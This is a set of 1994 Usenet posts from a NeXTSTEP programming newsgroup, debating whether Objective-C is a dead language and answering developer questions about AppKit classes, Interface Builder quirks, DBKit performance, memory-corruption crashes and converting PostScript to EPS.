Newsgroups: comp.sys.next.programmer From: flash!jon@myxa.com Subject: Re: Is Objective - C a dead language ? Message-ID: <CKoCv7.2IE@dsinc!flash> Sender: jon@dsinc!flash (Jonathan Hendry) Organization: Who Needs It? References: <CKIv4G.2KG@microsoft.com> Distribution: usa Date: Fri, 4 Feb 1994 00:47:30 GMT In article <CKIv4G.2KG@microsoft.com> jimad@microsoft.com (Jim Adcock) writes: > what languages have the most compilers sold? > C++ > Visual Basic > > How many magazine articles on each in the last year? > C++ = 2000 and increasing trend > Objective-C = 17 and decreasing trend > > How many books published on each: > C++ = hundreds > Objective-C = 2 Might this be because there's not much to say about Objective-C, because it's actually easy to use? Hmmm? > How many vendors selling compilers to each: > C++ = tens to hundreds > Objective-C = one or two, depending on how you measure it. > > So sorry, Objective-C is for all intents and purposes dead. > One shouldn't feel bad: Read HOPL I and II -- most new languages > die. Strangly enough, C++ still looks like it might survive > and make the grade. Thus we see Microsoft logic at work. Volume is everything. -- Jonathan W. Hendry Inexpensive NeXTSTEP Consulting tjhendry@mcs.drexel.edu For Your "Not-So-Mission-Critical" Apps
From: mark@opus.pass.wayne.edu (Mark Murphy) Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin Subject: Recycler problem? Date: 3 Feb 1994 21:13:39 GMT Organization: Oakland University, Rochester, Michigan, U.S.A. Distribution: world Message-ID: <2irpe3$emh@oak.oakland.edu> Does anyone have an answer to this problem? I've recently installed a 1.2GB external HD on a NeXT Cube. I formatted the disk on the NeXT using the automatic initialize feature when the machine could not read the SCSI device. The problem is when I toss a file from this disk to the recycler, I get the message: Folder xxxxx is located on a disk without recycler. Continuing will really destroy the files. What is missing to allow usage of the recycler? .NextTrash file? others? I can't find any documentation related to this. Why didn't the formatting of this disk automatically set it up with recycler capabilities? Is there a way to fix this without reformatting again? Any help would be greatly appreciated, thanks. -- Mark Murphy Systems Analyst Wayne State University mark@opus.pass.wayne.edu (NeXT) mmurphy@cms.cc.wayne.edu (VM/CMS)
Newsgroups: comp.sys.next.programmer From: ian_stewart@nyro.com (Ian H. Stewart) Subject: NXBrowser reloadColumn Question Message-ID: <CKo5sM.pp@nyro.com> Sender: ian@nyro.com (Ian H. Stewart) Organization: NYRO Technix, Inc. - 415 664-1170 Date: Thu, 3 Feb 1994 22:14:46 GMT I am reading in names from a file and creating a new object (listCell) for each name and putting it into a List (list) object. I then load this into an NXBrowser. I now remove an item from the list object as follows: - removeItem:sender { int selectedRow; id cell; selectedRow = [[browser matrixInColumn:0] selectedRow]; [list removeObjectAt: selectedRow]; [browser reloadColumn:0]; return self; } The problem I have is that the NXbrowser (scroller) now snaps back up to the top. If you look at the way Workspace deletes a file, this does not occur. When the NXBrowser list is long, this can be annoying. If you need more info etc, let me know. Any suggestions or solutions are appreciated. Ian H. Stewart
Newsgroups: comp.sys.next.programmer From: gelato@netcom.com (Steve James) Subject: PS -> EPS? Message-ID: <gelatoCKo7EF.LBL@netcom.com> Keywords: PS EPS Organization: NETCOM On-line Communication Services (408 241-9760 guest) Date: Thu, 3 Feb 1994 22:49:26 GMT What is the difference between a .ps file and a .eps file? Is it possible to convert one to the other? If I click "Save..." in a print panel, I get a .ps file. But I need to give this file to someone who is working in Illustrator and Photoshop on a Mac, and he said he needs it in .eps format. Is it possible to get the .ps massaged into a .eps?
Newsgroups: comp.sys.next.programmer From: alex@cs.umd.edu (Alex Blakemore) Subject: Re: need to init a popUpList Message-ID: <CKoFCr.BK@genoa.com> Sender: alex@genoa.com (Alex Blakemore) Organization: Genoa Software Systems References: <1994Feb2.192001.29476@bozell.com> Date: Fri, 4 Feb 1994 01:41:14 GMT Jeff Martin writes > If you want to set the PopUpList by index, you could do the following: > id popUpList = [popUpButton target]; > id popUpMatrix = [popUpList itemList]; > char *newTitle = [popUpMatrix cellAt:index :0]; ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > [popUpButton setTitle:newTitle]; I think you forgot a stringValue: message in there somewhere. Perhaps you meant something like the following? char *newTitle = [[popUpMatrix cellAt:index :0] stringValue]; otherwise, nice post. you almost made PopUpList seem rationale. -- Alex Blakemore alex@cs.umd.edu NeXT mail accepted
From: mow@marsu.tynet.sub.org (Markus Wenzel) Newsgroups: comp.sys.next.programmer Subject: Re: What languages are available under NeXTStep? Date: 3 Feb 1994 00:00:00 +0100 Organization: Palumbian Research Labs Message-ID: <2ipb9g$te@marsu.tynet.sub.org> References: <1994Jan31.195111.12813@enterprise.rdd.lmsc.lockheed.com> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Keywords: languages, C, C++, Forth, SmallTalk.. z50907@mip.lasc.lockheed.com (Jeff Sickel) writes: >I'd like to know what languages are available for NeXTStep? From what I've >read I believe NeXT provides Objective C, C/C++ with their development system >and there is a port of gcc. Are there any other programming languages >available for application development? Years ago I've seen an "Objective-Fortran" package. But I'm not sure if that's the development system you have expected. -- Marsu: "There really exist some people who live happily and satis- fied without computers." -- Frankie: "Oh no, they just emulate it!" ----- Markus Wenzel System administration, Consulting, Networking mow@marsu.tynet.sub.org on... NeXTSTEP / Unix / Novell / Windows NT IRC: Marsu Intel aside.
From: Charles William Swiger <infidel+@CMU.EDU> Newsgroups: comp.sys.next.programmer,comp.lang.objective-c,comp.lang.c++ Subject: Re: Is Objective - C a dead language ? Date: Fri, 4 Feb 1994 00:02:34 -0500 Organization: Fifth yr. senior, Chemistry, Carnegie Mellon, Pittsburgh, PA Message-ID: <ghIRPem00iV6ACOXlw@andrew.cmu.edu> In-Reply-To: <199402040344.AA19868@digifix.com> >There are precisely zero vendors "selling" Objective-C compilers. >Read the GNU Public License for details. As several people have pointed out rather quickly, Stepstone offers a commercial Objective-C compiler. My mistake, and thanks for the correction. -Chuck Charles William Swiger - WhiteLight Systems | "All the world's a stage, and" --------------------------------------------+ "we are merely players...." AMS & normal mail: infidel@cmu.edu | NeXTmail: chuck@cswiger.slip.andrew.cmu.edu | "Semper ubi sub ubi."
Newsgroups: comp.sys.next.programmer,comp.lang.c++,comp.lang.objective-c From: pfkeb@kaon.SLAC.Stanford.EDU (Paul F. Kunz) Subject: Re: Is Objective - C a dead language ? In-Reply-To: jimad@microsoft.com's message of Tue, 1 Feb 1994 01:36:00 GMT Message-ID: <PFKEB.94Feb3211807@kaon.SLAC.Stanford.EDU> Sender: news@unixhub.SLAC.Stanford.EDU Organization: Stanford Linear Accelerator Center References: <2i173i$h65@geraldo.cc.utexas.edu> <2i1bvu$12n@steffi.demon.co.uk> <CKIv4G.2KG@microsoft.com> Distribution: usa Date: Fri, 4 Feb 1994 05:18:06 GMT >>>>> On Tue, 1 Feb 1994 01:36:00 GMT, jimad@microsoft.com (Jim Adcock) said: In article <CKIv4G.2KG@microsoft.com> jimad@microsoft.com (Jim Adcock) writes: > One can guess all kinds of answers to these questions, or one can > try to answer the question by making some objective measures. One > can ask, for example: > what languages have the most compilers sold? C++ Visual Basic And in the '70s, the answer would have been Fortran yet look what happened to Fortran compared to C. Another measure: articles per month in comp.lang.objective-c. It's definately raising. -- Paul F. Kunz Paul_Kunz@slac.stanford.edu (NeXT mail ok) Stanford Linear Accelerator Center, Stanford University Voice: (415) 926-2884 (NeXT) Fax: (415) 926-3587
From: tlm@ameslab.gov (Tom Marchioro) Newsgroups: comp.sys.next.programmer Subject: Re: PS -> EPS? Date: 4 Feb 1994 06:17:29 GMT Organization: Iowa State University, Ames, Iowa Distribution: world Message-ID: <2isp9p$se@news.iastate.edu> References: <gelatoCKo7EF.LBL@netcom.com> Steve James writes []What is the difference between a .ps file and a .eps file? Is it possible []to convert one to the other? If I click "Save..." in a print panel, I get []a .ps file. But I need to give this file to someone who is working in []Illustrator and Photoshop on a Mac, and he said he needs it in .eps format. []Is it possible to get the .ps massaged into a .eps? If it's just a one page document then the only thing you really need (most of the time) is a proper bounding box. Get Izumi Ozawa's NeXT version of BBFig off the archives and play with it a bit for transforming PS -> EPS by putting in a bounding box. I've even taken columns of text from WriteNow or some other such program, hacked a bounding box about them, and then dropped them into graphics programs as "annotation". Definitely not a kosher way to put such things together, but prints and previews just fine. Hope this is helpful --- Tom -- Dr. Thomas L. Marchioro II Two-wheeled theoretical physicist Center for Physical and Computational Mathematics 515-294-5543 Ames Laboratory 515-233-1216 (home) Ames, Iowa 50011 tlm@iastate.edu
Newsgroups: comp.sys.next.programmer From: struchy@plains.NoDak.edu (John Struchynski) Subject: Creating a Customized HelpPanel?? Sender: usenet@ns1.nodak.edu (Usenet login) Message-ID: <CKnxCx.spu@ns1.nodak.edu> Date: Thu, 3 Feb 1994 19:12:33 GMT Organization: North Dakota Higher Education Computing Network I am new to next programming(aquired access to a machine a couple of weeks ago) so forgive my ignorance. I want to create a panel with all of the functionality of the standard HelpPanel, plus be able to add some additional functionality(a few additional control buttons etc.). I would like my window to have a little different look to it instead of using the standard look defined in the systems NXHelpPanel.nib. Any tips on steering me in the right direction? (should I subclass the NXHelpPanel class? should I create a window/panel that is of the NXHelpPanel Class?? ) I am already familiar with creating and adding customized help information using the standard help panel facilities of IB, PB and Edit. John Struchynski e-mail: struchy@plains.nodak.edu Programmer NeXTmail: struchy@tag.sendit.nodak.edu ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Why of course it makes sense! | Ride any nice ,__o --- __o But .... | bicycles _-\_<; ---- _`\<,_ It doesn't make money. | lately? (*)/'(*) --- (*)/ (*) ---------------------------------------------------------------------------
Newsgroups: comp.sys.next.programmer From: Zacharias J. Beckman <zac@dolphin.com> Subject: Re: Access Mail from Custom Application Message-ID: <1994Feb4.070524.9639@dolphin.com> Sender: zac@dolphin.com Organization: Dolphin Technologies Inc. References: <1994Jan28.153826.9309@il.us.swissbank.com> Distribution: usa Date: Fri, 4 Feb 1994 07:05:24 GMT Bernhard Straub writes: > We have developed an application that prints letters based on data held in > a database. The letter is saved in a .ps file. We are looking for a way to > invoke the Mail application, put the adresses (in the To: field) and the > subject and place the .ps file icon in the mail. There is a private API to the Mail application which is easy enough to use. It does require that the application be available, of course. If you would like to do this without relying on Mail, you can directly pipe your output to sendmail; this approach requires that you manually encode the mail and prepare it for mailing. In other words, you would have to produce NeXTMAIL from scratch (Dolphin's object library has classes to do this, if you are interested). The private API is a speaker-listener system which implements a number of methods, only some of which I remember (we stopped using the Mail application once our own class did all the work on its own). Some of these methods are: -deliver: -openSend: -setBody: -setTo: Unfortunately, I do not recall how you would insert an attachment into the body using this API. (Not to beat a dead horse, but... this can all be done with calls such as -attachment: using Dolphin Kit; you can also use -textFromText: to directly connect the class to an RTF Text object). I'm pretty sure that at one point or another there was an example supplied by NeXT which actually did interface to mail. I can't remember it's name, but you might want to search the demos directory or NeXT Answers archives. -- Zacharias J. Beckman - Dolphin Technologies Inc. - zac@dolphin.com - NeXTMAIL! To be "matter of fact" about the world is to blunder into fantasy.... and dull fantasy at that, as the real world is strange and wonderful. --- R. A. Heinlen Those opinions I express herein are my own, I'm fairly sure. --- Z. J. Beckman
Newsgroups: comp.sys.next.programmer From: mzeller@gwdu03.gwdg.de (Meinrad Zeller) Subject: Re: nxzonemallocnolock probs Message-ID: <QKOLBDLR@gwdu03.gwdg.de> Sender: news@gwdu03.gwdg.de (USENET News System) Organization: GWDG, Goettingen References: <CKJ7EC.4z4@relief.com> Date: Fri, 4 Feb 1994 09:24:55 GMT John Jay Feiler (jjfeiler@relief.com) wrote: : In article <2ihl0s$ceq@crl.crl.com> mcgredo@crl.com (Donald R. McGregor) : writes: : > Ick. I'm malloc'ing off a lot of memory and rapidly destroying : > it again. Sometimes, in this process, I get crashes at : > unpredictable points, with the following partial traceback: : > : > #0 0x500f5e8 in nxzonemallocnolock () : > #1 0x500be70 in nxzonemalloc () : > #2 0x500bdec in _class_createInstanceFromZone () : > #3 0x5030e90 in + [Object alloc] : > [...] : > : > This is all done in a since thread. The problem is not limited : > to the creation of objects; it will sometimes crash on regular : > malloc'ing as well. : > : > Anyone have any insight on what the heck could be happening? : > : I've seen this crop up in several applications of mine, but I've only : diagnosed it once.... I was running off the end of an array in an object, an : stomping on something. The bug goes away when the app is linked with : libMallocDebug. If you need a quick fix, try that. I also got this error several times and it turned out that I had a bug in my memory managment each time this happened. (like freeing an object or pointer which had been freed or accessing memory out of bounds). So I always take an error like that as an indicator that I screwed up something. Debugging can be very painful, especially in large programs. I can't say for sure, but from my experience its not a hidden bug in the Appkit but a hidden bug in your own app! So check all ....alloc and free function/methods in your code. The real bug might be at a totally differnt place than the point where the error occured. Meinrad -- Meinrad Zeller Foehrenweg 1 D-37077 Goettingen Tel.: +49-551-300095 Email: mzeller@gwdg.de
Newsgroups: comp.sys.next.programmer From: Atze (Alexander Spohr) Subject: Re: What languages are available under NeXTStep? Message-ID: <1994Feb1.073915.237@dart.de> Sender: aspohr@dart.de Organization: d'ART Software GmbH References: <1994Jan31.195111.12813@enterprise.rdd.lmsc.lockheed.com> Date: Tue, 1 Feb 94 07:39:15 GMT In article <1994Jan31.195111.12813@enterprise.rdd.lmsc.lockheed.com> z50907@mip.lasc.lockheed.com (Jeff Sickel) writes: > I'd like to know what languages are available for NeXTStep? From what I've > read I believe NeXT provides Objective C, C/C++ with their development system > and there is a port of gcc. Are there any other programming languages > available for application development? > Don't forget: The Appkit is Objective-C only. These are the languages I'm sure of: Modula-2, Pascal, Fortran, COBOL (yes...I know), SmallTalk. Anybody knows more? Atze -- Alexander Spohr, Hamburg, Germany Alexander_Spohr@dART.de (Mail ) Faces and faces (+49) 40 / 380 23-0 (Sound) See them and complain not (+49) 40 / 380 23-290 (Fax ) And am content with all
Newsgroups: comp.sys.next.programmer From: Atze (Alexander Spohr) Subject: Re: What does This Message Mean? Message-ID: <1994Feb1.074300.291@dart.de> Sender: aspohr@dart.de Organization: d'ART Software GmbH References: <2ik2fn$nal@larch.cc.swarthmore.edu> Date: Tue, 1 Feb 94 07:43:00 GMT In article <2ik2fn$nal@larch.cc.swarthmore.edu> he@engin.swarthmore.edu (Ye He) writes: > Hello Everyone: > > Here goes my question: In the applicationDelegate a message (say, show) > is sent to a subclass of Window, and the method corresponding to that > message IS implemented in the receiver. All necessary header files are > imported. But here is the error message I got: Window: does not recognize > show:. I can't figure out what was wrong with what I had done. Could anyone > out there give me a hand? Thanx alot! > > Ye If the runtimesystem tells you that WINDOW does not understand show: you send this message to a Window, not to a subclass of it. Did you change your Windowclass in IB? The Headers have _nothing_ to do with that. This is Objective-C, not C++. -- Alexander Spohr, Hamburg, Germany Alexander_Spohr@dART.de (Mail ) Faces and faces (+49) 40 / 380 23-0 (Sound) See them and complain not (+49) 40 / 380 23-290 (Fax ) And am content with all
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer,comp.lang.c++,comp.lang.objective-c Subject: Re: Is Objective - C a dead language ? Date: 3 Feb 1994 21:43:32 -0000 Organization: me organized? That's a joke! Distribution: usa Message-ID: <2irr64$302@steffi.demon.co.uk> References: <2i173i$h65@geraldo.cc.utexas.edu> <2i1bvu$12n@steffi.demon.co.uk> <CKIv4G.2KG@microsoft.com> jimad@microsoft.com (Jim Adcock) wrote in comp.sys.next.programmer,comp.lang.c++,comp.lang.objective-c >In article <2i1bvu$12n@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: >|jirapa@nextover.pe.utexas.edu wrote >|>Hi, >|> >|>I had heard something blasphemous in my C++ class. The instructor said that >|>objective-C is a dead language. Can anybody contribute to this comment? Is it >|>true or false or partly true? and why? > >One can guess all kinds of answers to these questions, or one can >try to answer the question by making some objective measures. >One can ask, for example: > >what languages have the most compilers sold? >C++ >Visual Basic > >How many magazine articles on each in the last year? >C++ = 2000 and increasing trend >Objective-C = 17 and decreasing trend > >How many books published on each: >C++ = hundreds >Objective-C = 2 > >How many vendors selling compilers to each: >C++ = tens to hundreds >Objective-C = one or two, depending on how you measure it. > >So sorry, Objective-C is for all intents and purposes dead. >One shouldn't feel bad: Read HOPL I and II -- most new languages >die. Strangly enough, C++ still looks like it might survive >and make the grade. > First of all, please remove my attribution from your followup. It serves absolutely no purpose as you excluded all of my comments. Show me a Microsoft employee that doesn't like C++ and I'll show you an ex-employee. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin,comp.sys.next.software From: buster@rintintin.Colorado.EDU (Paul Buster) Subject: drwite for ACSII collating in File Viewer ? Message-ID: <CKnu1t.E24@cnsnews.Colorado.EDU> Sender: usenet@cnsnews.Colorado.EDU (Net News Administrator) Organization: University of Colorado, Boulder Date: Thu, 3 Feb 1994 18:01:03 GMT Is there a dwrite to make the File Viewer follow the ASCII collating sequence ? that is, so files are listed as A-Z followed by a-z rather than Aa-Zz thanks -paul buster@mongrel.Colorado.EDU
Newsgroups: comp.sys.next.programmer From: Robert La Ferla <Robert_La_Ferla@hot.com> Subject: Re: -object option in cc Message-ID: <1994Feb3.201355.5321@hot.com> Sender: robertl@hot.com Organization: Hot Technologies References: <Jan31.051654.42166@acs.ucalgary.ca> Date: Thu, 3 Feb 1994 20:13:55 GMT That is an option for the linker: -object Produce a Mach-O file in the the relocatable object file format that is intended for execution. This differs from using the -r option in that it defines common symbols, does not allow undefined symbols and does not preserve relocation entries. This has a file type of MH_OBJECT. In this format all sections are placed in one unnamed segment with all protections (read, write, execute) allowed on that segment. This is intended for extremely small programs that would otherwise be large due to segment padding. In this format, and all non-MH_EXECUTE formats, the link editor defined symbol ``__mh_execute_header'' is not defined since the headers are not part of the segment. Robert La Ferla Hot Technologies NEXTSTEP ISV and Consulting In article <Jan31.051654.42166@acs.ucalgary.ca> macrae@geo.ucalgary.ca (Andrew MacRae) writes: > A question: What exactly does the "-object" option of cc do? > > I noticed its use in someone's code, and tried it out. It > usually results in a substantial reduction in executable size, and > yields executables that appear fully functional. However, I have > not found any documentation on it, occasionally the compiler > gets confused if a "-o" and "-object" option appear in the same > command, and I am wary of using a feature I do not understand > and is not (as near as I can tell) documented. Does anyone know what > it does, how it works, when it can be used, or any disadvantages? > > Thanks, > > -Andrew > macrae@pandora.geo.ucalgary.ca > or: macrae@geo.ucalgary.ca >
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: Re: No awakeFromNib in IB test mode? Message-ID: <1994Feb3.171751.23042@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory References: <2ipu8o$at0@Times.Stanford.EDU> Date: Thu, 3 Feb 1994 17:17:51 GMT In article <2ipu8o$at0@Times.Stanford.EDU> hsr@cs.Stanford.EDU (Scott Roy) writes: >>I'm trying to get a multipart object to work in IB test mode, but much to >>my surprise, InterfaceBuilder doesn't seem to send out awakeFromNib >>messages during testing. >> >>Is there another message it does send out? Can anyone think of a >>different way to get a message sent after all the outlet variables have >>been set? >> sigh. This is a looonnnngggg standing hole in the way IB works. I reported this in (I think) the PR1 days of 3.0, and got an acknowledgement at one point from Jean-Marie that, yup, it's a bug, and nope, there really isn't a workaround. I've come up with various domain specific kludgey hacks to deal with it, none of which really do the job. I posted a simple example months ago (maybe a year, now) called SimpleSliderExample to the archives to demonstrate this bug in the hope that enough developers would be appalled and get NeXT to fix this. Well, here it is with 3.2, and no fix. argh! I think this is probably more complicated to implement than it seems, because I know from experience that strange things can happen when you have nibs which load nibs which load nibs inside of IB in test mode... Another problem with test mode in IB is the fact that you can't test certain aspects of being in a bundle with other nibs (or any resources, really) because you're not in a bundle yet, so you can't get a path (at least, not in any documented API...). sigh. If anybody figures out away around the lack of an awakeInIB method, please let me know. It's one of the few remaining pimples in a bunch of my palettes. -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: Re: No awakeFromNib in IB test mode? Message-ID: <1994Feb3.172309.23200@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory References: <2ipu8o$at0@Times.Stanford.EDU> <2iq5ck$9e8@rosie.next.com> Date: Thu, 3 Feb 1994 17:23:09 GMT In article <2iq5ck$9e8@rosie.next.com> rzazula@next.com writes: >>Okay, now the solution: >> >>Under 3.2, InterfaceBuilder does not give "late notification" a-la >>-awakeFromNib. However, objects unarchived (by IB or otherwise) get sent >>-finishUnarchiving. So, we have a hook. >> >>The trick is that, unlike -awakeFromNib, our outlets are not guaranteed to >>be initialized when -finishUnarchiving is invoked. The way around this is >>to schedule a call to -awakeFromNib for *after* the current event-loop. >>Since the current event-loop is busy sending everyone a >>-finishUnarchiving, we'll be sure to have everything initialized later. >> Wow, what a totally heinous, evil workaround! Thanks Ralph! I can already feel my software's hygeine improving... :) -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
Newsgroups: comp.sys.next.programmer From: Zacharias J. Beckman <zac@dolphin.com> Subject: Re: DBTableView performance problems Message-ID: <1994Feb4.083259.10290@dolphin.com> Sender: zac@dolphin.com Organization: Dolphin Technologies Inc. References: <2i4217$sig@darkstar.UCSC.EDU> Date: Fri, 4 Feb 1994 08:32:59 GMT Art Isbell writes > I use tableViews extensively. They're a very complex, functional GUI > object. However, they seem to be quite slow in displaying fetched data > :-( One of the problems that we ran into with the (very large) Los Angeles County Sheriff project was DBKit performance and, under the hood, the considerable quirks and bugs of the DBKit. Specifically, when using the higher level DBKit routines, as it sounds like you are doing, you are going to hit some correspondingly high levels of inefficiency in the DBKit. There are cases where using a DBRecordList will result in your data being copied _seven times_ on its way back to you. Our only solution was to completely avoid the high-level DBKit routines, going down to DBBinders and below, only. In the cases where we used DBRecordList, considerable inefficiency turned up. This may be responsible for the problems you are running into. To partially solve the problem, we've extended our DSArray class (part of Dolphin Kit) to interface to the DBTableView. What I end up doing is obtaining the database results at a very low level, and putting them into the DSArray. It is very efficient in its interface to the DBTableView, and the redraw problems are not present. Probably not good news, but I hope it helps you out... -- Zacharias J. Beckman - Dolphin Technologies Inc. - zac@dolphin.com - NeXTMAIL! To be "matter of fact" about the world is to blunder into fantasy.... and dull fantasy at that, as the real world is strange and wonderful. --- R. A. Heinlen Those opinions I express herein are my own, I'm fairly sure. --- Z. J. Beckman
Newsgroups: comp.sys.next.programmer,comp.sys.next.marketplace From: moirl@cuug.ab.ca (Lindsay Moir B288-4624 H286-7377) Subject: Wanted: Extensible Class Library Solutions Message-ID: <CKnrqD.I9I@cuug.ab.ca> Date: Thu, 3 Feb 1994 17:10:59 GMT Distribution: na Organization: Calgary UNIX User's Group If you have an extensible class library then I would like to talk with you about it. The particular fit for us would be: 1. Written in C++, Smalltalk, Objective C (NeXT Step), and/or SOM. 2. Applicable to petroleum, health, and utility industries (in that order). If this is of interest to you please contact me. Lindsay Lindsay Moir Tragoes Management Inc. 100 Discovery Place One 3553 31 Street NW Calgary, Alberta, Canada T2L 2K7 Phone 403 288 4624 Fax 403 282 1238 email moirl@cuug.ab.ca
Newsgroups: comp.sys.next.programmer From: montyz@il.us.swissbank.com (Montgomery Zukowski) Subject: Re: nxzonemallocnolock probs Message-ID: <1994Feb4.151427.22541@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division References: <QKOLBDLR@gwdu03.gwdg.de> Date: Fri, 4 Feb 1994 15:14:27 GMT This kind of problem can show up when you write over a class instance variable. For instance: +sharedWithDelegate:aDelegate { id ret; ret = [super sharedInstance]; delegate = aDelegate; if (something is wrong) { [delegate errorMessage:insult]; ret=nil;//don't free ret because it is shared } return ret; } In the delegate = aDelegate, self is the class object. Delegate is not one of it's instance variables, but the compiler assumes you will reassign self = [super new]. Delegate is really *(self+offset), and the above assignment hoses some important class instance variable. So check all of your class methods for such silliness because the compiler won't catch it for you. Monty Meinrad Zeller writes > John Jay Feiler (jjfeiler@relief.com) wrote: > : In article <2ihl0s$ceq@crl.crl.com> mcgredo@crl.com (Donald R. McGregor) > : writes: > : > Ick. I'm malloc'ing off a lot of memory and rapidly destroying > : > it again. Sometimes, in this process, I get crashes at > : > unpredictable points, with the following partial traceback: > : > > : > #0 0x500f5e8 in nxzonemallocnolock () > : > #1 0x500be70 in nxzonemalloc () > : > #2 0x500bdec in _class_createInstanceFromZone () > : > #3 0x5030e90 in + [Object alloc] > : > [...] > : > .. > I also got this error several times and it turned out that I had > a bug in my memory managment each time this happened. > (like freeing an object or pointer which had been freed or > accessing memory out of bounds). > So I always take an error like that as an indicator that I screwed > up something. Debugging can be very painful, especially in large > programs. I can't say for sure, but from my experience its not a > hidden bug in the Appkit but a hidden bug in your own app! > > So check all ....alloc and free function/methods in your code. > The real bug might be at a totally differnt place than the > point where the error occured. >
Newsgroups: comp.sys.next.programmer From: montyz@il.us.swissbank.com (Montgomery Zukowski) Subject: Re: Protocol for setStringValue: etc... Message-ID: <1994Feb4.152117.22662@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division References: <2irjl5$3pt@gpo.gb.swissbank.com> Date: Fri, 4 Feb 1994 15:21:17 GMT Check out the UIBinder from VNP. It does just what you want and a whole lot more. Basically it sits between the screen and your data containers. You set up the connections in IB and then just manage the contents of the UIBinder (your container objects) and the screen stuff happens automagically. It has plenty of hooks for validation, modifying editing behavior and other stuff. It's the first commercial object I've seen where I didn't feel it would be worth my time to do over or that I could have done it any better. Dave Griffiths writes > There ought to be a general protocol for setting/getting basic data values > like string/int/float. There's a vague ad-hoc agreement to use > setStringValue: etc, but this sort of thing needs to be standardized. > > Fr'instance, if you've got a data container, you may want it to be able to > hook up to any IB outlet and display itself. But if the outlet is a popup > list button, you have to use setTitle: instead of setStringValue: (unless > you've done it yourself in a category). > > Then nearly every object that is capable of storing a single meaningful > value should respond to this standard protocol. > > Dave Griffiths
From: rep@hrz.tu-chemnitz.de (Ralph Eppert) Newsgroups: comp.sys.next.programmer Subject: ActionCell inside Text ?? Date: 4 Feb 94 15:44:12 GMT Organization: University of Technology Chemnitz, FRG Message-ID: <rep.760376652@drag> Hello, as the subject line says, I want to know whether it is possible to place ActionCells (Buttons etc. ) inside a TextObject. Say I want to have buttons inside the text, and clicking them peforms some actions, for instance loading a new text. Can this be done?? Thanks in advance for your help! (Sample code welcomed ;-). Ralph Eppert. EMail: rep@informatik.tu-chemnitz.de
Newsgroups: comp.sys.next.programmer From: Atze (Alexander Spohr) Subject: Re: When things are inexplicably going wrong Message-ID: <1994Feb4.153305.337@dart.de> Sender: aspohr@dart.de Organization: d'ART Software GmbH References: <1994Feb1.230746.2258@il.us.swissbank.com> Date: Fri, 4 Feb 94 15:33:05 GMT In article <1994Feb1.230746.2258@il.us.swissbank.com> montyz@il.us.swissbank.com (Montgomery Zukowski) writes: > I've done this about 15 times in the past two months. When you > start to get weird crashes and it seems like your object data is getting > screwed up (your isa pointer points to something that has junk in it) then > it might be this: > The compiler doesn't warn you when you set an instance variable in > a class method. If you do this but haven't first set self = [[Instance > alloc] init], then you are writing over your class instance variables > (they do have instance variables, you just can't add your own). When you > write over your instance variables like that you get weird problems in > objc_msgSend() or other runtime functions. You basically hose the object > metadata and you will crash later on when you try to do something with > that object. > > Beware! > > Monty Please NEVER modify self in a class method! It is the pointer to the class object, not to an instance. It's a problem of the compiler that it knows inside of a class method what an ivar is. It shouldn't. Better use a construct like this: + someMethod { id anInstance = [[self alloc] init]; [anInstance doSomething]; return anInstance; } Use [self alloc] to ensure subclass support. Atze PS. Don't tell me you want to set ivars like "ivarXXX = something" in you class method. Ivars are not (and should never get) in the scope of class methods. Do that in - init. -- Alexander Spohr, Hamburg, Germany Alexander_Spohr@dART.de (Mail ) Faces and faces (+49) 40 / 380 23-0 (Sound) See them and complain not (+49) 40 / 380 23-290 (Fax ) And am content with all
From: Charles William Swiger <infidel+@CMU.EDU> Newsgroups: comp.sys.next.programmer Subject: Re: What languages are available under NeXTStep? Date: Fri, 4 Feb 1994 11:59:41 -0500 Organization: Fifth yr. senior, Chemistry, Carnegie Mellon, Pittsburgh, PA Message-ID: <QhIbvxW00WBMQ3xG8n@andrew.cmu.edu> In-Reply-To: <1994Feb1.073915.237@dart.de> Excerpts from netnews.comp.sys.next.programmer: 1-Feb-94 Re: What languages are avai.. by Alexander Spohr@??? > These are the languages I'm sure of: > Modula-2, Pascal, Fortran, COBOL (yes...I know), SmallTalk. Add: Standard Meta Language (SML), both Scheme and Common Lisp, some other Lisp variants (OakLISP, ZEN) -Chuck Charles William Swiger - WhiteLight Systems | "All the world's a stage, and" --------------------------------------------+ "we are merely players...." AMS & normal mail: infidel@cmu.edu | NeXTmail: chuck@cswiger.slip.andrew.cmu.edu | "Semper ubi sub ubi."
